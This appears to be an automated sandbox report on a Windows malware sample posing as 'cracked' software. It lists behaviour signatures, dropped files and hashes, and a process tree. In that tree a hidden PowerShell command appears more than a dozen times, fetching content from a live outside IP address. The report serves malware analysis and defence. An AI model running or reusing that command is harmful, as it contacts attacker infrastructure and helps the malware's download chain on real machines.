Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 20:22

General

  • Target
    nig/cracked by dwmxs.exe
  • Size 21.6MB
  • Sample260830-y5kaqsda96
  • SHA256 0c18b45a6a033206c19b7c414d40ccc7a330c09ccc451cbc1290417d1bd176b9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 12 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 15 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 61 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe
    "C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe"
    1⤵
    • Downloads MZ/PE file
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: RenamesItself
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5416
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4132
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1172
    • C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe
      "C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4480
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1940
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4816
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5888
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4400
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3752
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1856
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4104
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:700
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "$r=Invoke-WebRequest -Uri 'http://47.129.8.159:3000/metadata' -UseBasicParsing; $r.Content"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        PID:3728

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        cleanup_marker.tmp

        • Path C:\ProgramData\MeowHaxx\cleanup_marker.tmp
        • Size 62B
        • SHA256 07c4f72f17868a1a0409072dac3746bcc05953c46f97b4ccf66b9bee84bf1e25
        • MD5 SHA1 SHA512 TLSH

        sys_core.dat

        • Path C:\ProgramData\MeowHaxx\sys_core.dat
        • Size 604B
        • SHA256 0edf87bab49c0834114209371696d2e3705ad2a72e4c5ef8a77f883e00cc29b1
        • MD5 SHA1 SHA512 TLSH

        sys_core.dat

        • Path C:\ProgramData\MeowHaxx\sys_core.dat
        • Size 604B
        • SHA256 f49f1e06506f958de54a259a95c6f006a8e653ca29a5b25b1e866b441a508423
        • MD5 SHA1 SHA512 TLSH

        vcache.dat

        • Path C:\ProgramData\MeowHaxx\vcache.dat
        • Size 114B
        • SHA256 90602d5501e31aff18df652c9e2d053244f4e872ca4e691bddcb57ad862cc54d
        • MD5 SHA1 SHA512 TLSH

        vcache.dat

        • Path C:\ProgramData\MeowHaxx\vcache.dat
        • Size 112B
        • SHA256 b47a50cb3be835681d339e8697d6d39f6bf90dbdec344fd2c4143bc7a7e32e16
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 bcae9ccab2f826749373f7e17d984239960acb6071382f0e8e11c1e803fa48dc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 1d8a384a527e726524e5ba9791a5d782506d54d512a138160f128319904cb532
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 a020d407a214d2b22dfb9bcd23588345b3c0ab5bb8605ecd840c23a526a985be
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 85f2f136cd968d61890d592247418618151c49548c13d4f47a69053d089a9047
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 b06d35df81d6bedd682097d6bc0e5d75d41f57016e83434d5ef46083000ffd75
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 466879b13b716b7f414e8a3208702ce7393b60bf69d99db2845712d4cc051437
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 e0b07a7d8ca423ea8a997bcbddbe2c57c9f198c377b4f6b92a8cbbfdd56b4e94
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 5ea7881967ff154903e98d897cf8c0711e6b88fe1f86a7a6698c309baaf8fda5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 522436d5dd3a03ad3367e89ab96ebd9413456c67434cd0fcf5f050f779e7b4dd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 f0bdb992785185347fb684854e90a993f0d962e7e83acd01ec43907ebeb2f0ba
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 4004116c3908bc2a011ad31c8918f0d730af02dd122f4f4b2eda48d27801f759
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_2tle5tmk.orq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2tle5tmk.orq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        cracked by dwmxs.exe

        • Path C:\Users\Admin\AppData\Local\Temp\nig\cracked by dwmxs.exe
        • Size 10.5MB
        • SHA256 899e02610c637d167825ff2ab2a48f54f613cdbfe2073f7c53455e741d538fd4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1172-61-0x0000000005D90000-0x00000000060EB000-memory.dmp

        memory/1172-65-0x0000000006850000-0x000000000689C000-memory.dmp

        memory/1940-79-0x0000000006A30000-0x0000000006A7C000-memory.dmp

        memory/1940-77-0x0000000006450000-0x00000000067AB000-memory.dmp

        memory/3092-55-0x00000000008B0000-0x0000000001E54000-memory.dmp

        memory/3092-0-0x00000000008B0000-0x0000000001E54000-memory.dmp

        memory/3728-135-0x00000000059D0000-0x0000000005D2B000-memory.dmp

        memory/4132-35-0x0000000005B30000-0x0000000005E8B000-memory.dmp

        memory/4132-37-0x0000000005F80000-0x0000000005FCC000-memory.dmp

        memory/4172-118-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-103-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-139-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-134-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-128-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-122-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-74-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-73-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-54-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-113-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-80-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-109-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-90-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/4172-93-0x0000000000370000-0x000000000195A000-memory.dmp

        memory/5416-12-0x0000000005B60000-0x0000000005B7E000-memory.dmp

        memory/5416-5-0x0000000072DB0000-0x000000007356C000-memory.dmp

        memory/5416-7-0x0000000005580000-0x00000000055E6000-memory.dmp

        memory/5416-9-0x0000000005660000-0x00000000059BB000-memory.dmp

        memory/5416-6-0x00000000054E0000-0x0000000005502000-memory.dmp

        memory/5416-28-0x0000000072DB0000-0x000000007356C000-memory.dmp

        memory/5416-29-0x0000000072DB0000-0x000000007356C000-memory.dmp

        memory/5416-3-0x0000000072DB0000-0x000000007356C000-memory.dmp

        memory/5416-25-0x0000000007290000-0x000000000790C000-memory.dmp

        memory/5416-4-0x0000000004DA0000-0x00000000053EA000-memory.dmp

        memory/5416-8-0x00000000055F0000-0x0000000005656000-memory.dmp

        memory/5416-27-0x0000000072DC2000-0x0000000072DC3000-memory.dmp

        memory/5416-2-0x0000000004690000-0x00000000046C6000-memory.dmp

        memory/5416-13-0x0000000005DC0000-0x0000000005E0C000-memory.dmp

        memory/5416-31-0x0000000072DB0000-0x000000007356C000-memory.dmp

        memory/5416-1-0x0000000072DC2000-0x0000000072DC3000-memory.dmp

        memory/5416-26-0x0000000006080000-0x000000000609A000-memory.dmp